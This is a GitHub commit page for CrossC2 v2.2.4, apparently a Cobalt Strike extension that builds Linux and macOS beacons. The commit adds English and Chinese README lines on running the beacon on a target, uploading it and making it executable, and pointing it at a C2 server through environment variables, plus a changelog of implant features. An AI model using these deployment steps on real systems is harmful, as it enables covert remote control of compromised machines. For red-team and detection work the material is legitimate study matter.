Skip to content

Commit

Permalink
CrossC2 v2.2.4 - Support for obtaining process list information from …
Browse files Browse the repository at this point in the history
…procfs on Linux
  • Loading branch information
gloxec committed Jun 7, 2021
1 parent c67e20e commit defe149
Show file tree
Hide file tree
Showing 6 changed files with 70 additions and 0 deletions.
34 changes: 34 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -92,6 +92,13 @@ For some reasons, only HTTPS beacon is currently supported.
1. Add `CrossC2Kit_Loader.cna` after downloading CrossC2Kit. It contains other functions such as memory loading. (The file management function of `cs4.x` version is missing. Only use this Loader to re-enable file management)

> Method of running beacon:
* Run the one-click online script generated by the CrossC2 plugin on the target
* After uploading the beacon to the target machine for empowered operation
* Set the working directory for beacon and run: `export CCPATH=/opt/ && /tmp/c2`
* Temporarily specify the protocol library for beacon and run: `/tmp/c2 /tmp/c2-rebind.so`
* Temporarily set C2 configuration for beacon: `export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2`

## Reference documents: [📖 Wiki](https://gloxec.github.io/CrossC2/en/usage/)

Expand Down Expand Up @@ -212,6 +219,33 @@ Develop dynamic libraries and customize data return types, such as implementing

# ChangeLog

## release v2.2.4 - stable :
* -fix v2.2.3 beacon online issue #84 #85
* +support Support for obtaining process list information from procfs on Linux

## release v2.2.3 :
* -fix Fix the bug that beacon exits when opening the file manager on 32-bit Linux.
* -fix Fix the parsing errors of `bcd`, `bls`, `bupload` and other functions in multi-instruction merge tasks, now you can process the same cna scripts as windows beacon. #81
* +support Add two environment variables to temporarily set the C2 server address for beacon connection. (`CCHOST` & `CCPORT`)
> export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2
* +support Add support for `bupload` function. https://github.com/gloxec/CrossC2/issues/81#issuecomment-841068719

## release v2.2.2 - stable :
* -fix Fix some bugs that caused the beacon to fail to start when loading the custom communication protocol library.
* +support Add two mandatory beacon running methods for loading custom communication protocol library

> 1. export CCPATH=/opt/ && /tmp/c2
(Mandatory setting of a working directory with permissions for beacon, such as `/opt/`)
> 2. /tmp/c2 /tmp/c2-rebind.so
(Mandatory loading of communication protocol library for beacon)

## release v2.2.1 :
* -fix Fix the problem that the file download speed is too slow (now up to full speed)
* -fix Fix the problem of multiple files at the same time (use the `downloads` command to view the progress)
* -fix Fix the problem that the `/tmp/` directory file permissions on the low-version kernel system do not have the execute permission by default, which causes the `beacon` to fail to start
* -fix Fix the problem that resources are occupied and cause failure when `beacon` is repeatedly online on a low-version kernel system
* -fix Fix the problem that files landing on low-version kernel systems face name conflicts and fail to run

## release v2.2 :

* -change Only CS 4.x (>=4.1) version is supported, lower versions will no longer be supported.
Expand Down
36 changes: 36 additions & 0 deletions README_zh.md
Original file line number Diff line number Diff line change
Expand Up @@ -94,6 +94,13 @@ genCrossC2.Win.exe 需要依赖的两个文件为`ucrtbased.dll`,`vcruntime140d.
1. 下载CrossC2Kit, 添加`CrossC2Kit_Loader.cna`, 包含内存加载等其它功能。(`cs4.x`版本文件管理功能缺失,必须使用此Loader来重新启用文件管理)

> 运行beacon的方法:
* 在目标上运行CrossC2插件生成的一键上线脚本
* 上传beacon至目标机器后进行赋权运行
* 为beacon设定工作目录并运行: `export CCPATH=/opt/ && /tmp/c2`
* 为beacon临时指定协议库并运行: `/tmp/c2 /tmp/c2-rebind.so`
* 为beacon临时设定C2配置: `export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2`


## 安装参考文档: [📖 Wiki](https://gloxec.github.io/CrossC2/zh_cn/usage/)
Expand Down Expand Up @@ -216,6 +223,35 @@ genCrossC2.Win.exe 需要依赖的两个文件为`ucrtbased.dll`,`vcruntime140d.

# ChangeLog

## release v2.2.4 - stable :
* -修复 v2.2.3 的上线问题 #84 #85
* +支持 Linux支持从procfs中获取进程列表信息

## release v2.2.3 :
* -修复 修复32位Linux下打开文件管理器时beacon退出的bug
* -修复 修复多指令合并任务中`bcd``bls``bupload`等函数解析错误问题,现在可以处理与windows beacon相同的cna脚本 #81
* +支持 添加两个环境变量用于临时设置beacon连接的C2地址 (`CCHOST` & `CCPORT`)

> export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2
* +支持 添加bupload函数支持 https://github.com/gloxec/CrossC2/issues/81#issuecomment-841068719

## release v2.2.2 - stable:
* -修复 修复加载自定义通信协议库时导致beacon无法启动的一些bug
* +支持 新增两种强制指定beacon加载自定义通信协议库的运行方式

> 1. export CCPATH=/opt/ && /tmp/c2
(为beacon强制设定具有权限的工作目录, 例如 `/opt/`)
> 2. /tmp/c2 /tmp/c2-rebind.so
(为beacon强制指定通信协议库)

## release v2.2.1 :
* -修复 修复文件下载速度过慢的问题(现已达到满速)
* -修复 修复同时下载多个文件出现的问题(使用`downloads`命令查看进度)
* -修复 修复低版本内核系统上`/tmp/`目录文件权限默认没有执行权限,导致`beacon`无法启动的问题
* -修复 修复低版本内核系统上`beacon`反复上线时,资源被占用导致失败的问题
* -修复 修复文件落地时在低版本内核系统时遇到名称冲突,无法运行的问题

## release v2.2 :

* -变更 仅支持 CS4.x (>=4.1),低版本后续将不再支持。
Expand Down
Binary file removed src/autoupdate.jar
Binary file not shown.
Binary file removed src/genCrossC2.Linux
Binary file not shown.
Binary file removed src/genCrossC2.MacOS
Binary file not shown.
Binary file removed src/genCrossC2.Win.exe
Binary file not shown.

0 comments on commit defe149

Please sign in to comment.